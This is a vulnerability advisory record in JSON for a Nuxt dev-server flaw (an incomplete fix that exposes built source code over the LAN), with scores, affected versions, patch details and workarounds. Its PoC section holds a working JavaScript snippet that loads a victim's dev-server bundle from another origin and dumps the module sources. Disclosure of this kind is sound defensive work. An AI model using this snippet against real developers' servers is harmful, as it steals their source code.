{"id":"CVE-2026-45670","aliases":["CVE-2026-45670","GHSA-6m52-m754-pw2g"],"related":["CVE-2026-49993"],"kind":"vulnerability","state":"published","title":"Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)","summary":"Nuxt is an open-source web development framework for Vue.js. In @nuxt/rspack-builder and @nuxt/webpack-builder versions 3.15.4 to before 3.21.6, and 4.0.0-alpha.1 to before 4.4.6, there is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network. This issue has been patched in versions 3.21.6 and 4.4.6.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Nuxt is an open-source web development framework for Vue.js. In @nuxt/rspack-builder and @nuxt/webpack-builder versions 3.15.4 to before 3.21.6, and 4.0.0-alpha.1 to before 4.4.6, there is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network. This issue has been patched in versions 3.21.6 and 4.4.6.","source":"cvelist"},{"lang":"en","text":"### Summary\nThis is an incomplete fix for [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99). Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. `nuxt dev --host`) and the developer opens a malicious site on the same network.\n\n### Details\nThe fix for [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99) relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because [these headers are sent by the browsers only for potentially trustworthy origins](https://w3c.github.io/webappsec-fetch-metadata/#sec-fetch-site-header:~:text=Site%20header%20for%20a%20request%20r%3A-,Assert%3A%20r%E2%80%99s%20url%20is%20a%20potentially%20trustworthy%20URL.,-Let%20header%20be%20a%20Structured%20Field%20whose), the check is able to bypass for non-potentially trustworthy origins.\n\nSince the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using `--host` is affected.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement('script')\nscript.src = 'http://192.168.0.31:3000/_nuxt/app.js' // NOTE: replace with the IP address the dev server listens to\nscript.addEventListener('load', () => {\n  const key = Object.keys(window).find(k => k.startsWith(\"webpackChunk\"))\n  for (const page in window[key]) {\n    const moduleList = window[key][page][1]\n    console.log(moduleList)\n\n    for (const key in moduleList) {\n      const p = document.createElement('p')\n      const title = document.createElement('strong')\n      title.textContent = key\n      const code = document.createElement('code')\n      code.textContent = moduleList[key].toString()\n      p.append(title, ':', document.createElement('br'), code)\n      document.body.appendChild(p)\n    }\n  }\n})\ndocument.head.appendChild(script)\n```\n(This script is the similar with [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99) except for the `script.src` and the global variable name)\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using `--host`.\n\nThis vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to [the local network access restriction feature](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).\n\n### Patches\nFixed in `nuxt@4.4.6` and `nuxt@3.21.6` by [#35051](https://github.com/nuxt/nuxt/pull/35051). The dev-middleware same-origin check now falls back to comparing the request's `Origin` / `Referer` host against `Host` when `Sec-Fetch-*` headers are absent, closing the non-trustworthy-origin bypass.\n\nThe fix only ships for the `@nuxt/webpack-builder` and `@nuxt/rspack-builder` packages. The default Vite builder was not affected.\n\n### Workarounds\nIf you cannot upgrade immediately:\n\n- Don't use `nuxt dev --host`. Bind the dev server to `localhost` (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks.\n- Use Chrome 142+ or another Chromium-based browser that enforces [local network access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).\n- Switch to the Vite builder for development.","format":"markdown","source":"ghsa"}],"published":"2026-05-19T15:51:14.000Z","modified":"2026-07-08T17:45:15.001Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":5.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":5.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-749"],"affected":[{"ranges":[{"version":">= 3.15.4, < 3.21.6","status":"affected"},{"version":">= 4.0.0-alpha.1, < 4.4.6","status":"affected"}],"vendor":"nuxt","product":"nuxt","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"3.15.4","status":"affected","fixed":"3.21.6"}],"ecosystem":"npm","package":"@nuxt/rspack-builder","purl":"pkg:npm/%40nuxt/rspack-builder","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"4.0.0-alpha.1","status":"affected","fixed":"4.4.6"}],"ecosystem":"npm","package":"@nuxt/rspack-builder","purl":"pkg:npm/%40nuxt/rspack-builder","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.15.4","status":"affected","fixed":"3.21.6"}],"ecosystem":"npm","package":"@nuxt/webpack-builder","purl":"pkg:npm/%40nuxt/webpack-builder","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"4.0.0-alpha.1","status":"affected","fixed":"4.4.6"}],"ecosystem":"npm","package":"@nuxt/webpack-builder","purl":"pkg:npm/%40nuxt/webpack-builder","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"3.12.2","fixed":"3.21.5"},{"status":"affected","introduced":"4.0.0","fixed":"4.4.5"}],"vendor":"nuxt","product":"nuxt/rspack-builder","cpe":"cpe:2.3:a:nuxt:nuxt\\/rspack-builder:*:*:*:*:*:node.js:*:*","source":"nvd"},{"ranges":[{"status":"affected","introduced":"3.0.0","fixed":"3.21.5"},{"status":"affected","introduced":"4.0.0","fixed":"4.4.5"}],"vendor":"nuxt","product":"nuxt/webpack-builder","cpe":"cpe:2.3:a:nuxt:nuxt\\/webpack-builder:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/nuxt/nuxt/security/advisories/GHSA-6m52-m754-pw2g","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99","tags":["exploit","vendor-advisory","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nuxt/nuxt/pull/35051","tags":["issue-tracking","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45670","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nuxt/nuxt","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-06-12T14:17:53.380Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45670","url":"https://www.cve.org/CVERecord?id=CVE-2026-45670","licence":"CVE Terms of Use","modified":"2026-06-12T14:18:09.794Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6m52-m754-pw2g","url":"https://github.com/advisories/GHSA-6m52-m754-pw2g","licence":"CC-BY-4.0","modified":"2026-07-08T17:45:15.001Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45670","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45670","licence":"Public domain","modified":"2026-06-17T10:52:26.860Z"}],"updatedAt":"2026-11-25T22:59:24.503Z","epss":{"score":0.00205,"percentile":0.11093,"date":"2026-12-01T12:00:22.000Z"}}